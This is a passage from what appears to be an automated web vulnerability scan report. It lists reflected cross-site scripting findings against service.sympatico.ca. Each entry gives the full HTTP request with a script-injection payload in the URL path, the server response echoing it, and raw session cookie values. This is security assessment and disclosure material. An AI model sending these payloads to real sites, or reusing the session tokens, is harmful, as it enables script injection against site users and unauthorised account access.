Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:20 GMT
Connection: close
Set-Cookie: SMSESSION=EPl8ovPtC0TRZnxWNgMxVHcBOHy15DBRam08qI9jHVmrl0VuQyqR4cHxBnKMgaeEXqlYy5hQVOKypw45E/P98SgsZFWr21zAW9QnRNpoF/cRPbJD2nV2WCcnJkqV7jlGqM6AaE20yHe9FLakKetkljE/Xc+f3HQeoZ5Pd4bfhcYgbthly8RsYyuCgc4OUwirtJoJHUAg+cBb+W25eVK/OudoVVAc/JNx/Bef/Vy632im5QtMK6hOkrfn7lc4B9cksIIw6GH04xoddMV7Oq4jY6RX9eHie8/PC2EYX3A7rVfQXNqc8PSxNA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:21 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:21 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:21 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:21 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:21 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:21 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/screen_print.css5b0de"><script>alert(1)</script>b1fcc5e3507" />
...[SNIP]...

2.82. http://service.sympatico.ca/css/tooltip.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/tooltip.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bdba"><script>alert(1)</script>deb186ddd8f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css7bdba"><script>alert(1)</script>deb186ddd8f/tooltip.css HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:17 GMT
Connection: close
Set-Cookie: SMSESSION=2tjWlSCi8+i/IrGi23Kg4jpxNQn6VhL07YX/D5V4CX9aqybIeMFycLoQTjme/HUMc9e07oMGEaU5zTuieowpsbxauDjzfe5eJcVqRyJ9soU5jlqqw7WV6Y8TMmxH07tPFCEdwVYCPpF8mwCtcXWeuha29Bfj+W0qJYzA1BGHtB+LS4X1TxRUm4DsXxYOoJqu8HwnM3CSV8mq8rLhSel4ZvtFTog7QcMh0K8QOKNPra33/98PwgtahZDEJ8FIKj7B+EnAu7fz3mDGuisEEwlRX+XDY3oBzWAJkx1ST2Ndj8NnHo4Sp7oCIA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:17 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:17 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:17 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css7bdba"><script>alert(1)</script>deb186ddd8f/tooltip.css" />
...[SNIP]...

2.83. http://service.sympatico.ca/css/tooltip.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/tooltip.css

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c9fa"><script>alert(1)</script>067cb464f4b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css/tooltip.css1c9fa"><script>alert(1)</script>067cb464f4b HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:19 GMT
Connection: close
Set-Cookie: SMSESSION=JL8Zywr2tpA2EjbeyMn1rg9blxvQh4mLb/d7LaxqpjV5K3uSzIPMFHrirSrpcp0nzsf5WYFjx22mzzv4LXUAEP0heAOZWx/6qIgmWCyBIZtzuHeLOLDXCJLr8sdshel245bL9y6EXfuryhzosb491fKi4cmSLW25hl85DWICrx9duNgVafWdfYsSsHcrcmyDaoqJY/7zYjMHvBpjUb/6f5w0s93JtFTUnPb2YYVVJB4UYSvIMgJ334CdwyMY4UCaaHYpITAl5u+/1SPi4sIliyQftaS+Ok6qLsApMuKJRgBg2c/iglqDeA==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:19 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:19 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:19 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/css/tooltip.css1c9fa"><script>alert(1)</script>067cb464f4b" />
...[SNIP]...

2.84. http://service.sympatico.ca/css/txtBoxes.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /css/txtBoxes.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 48ea0"><script>alert(1)</script>730ce418a0a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /css48ea0"><script>alert(1)</script>730ce418a0a/txtBoxes.css HTTP/1.1
Accept: */*
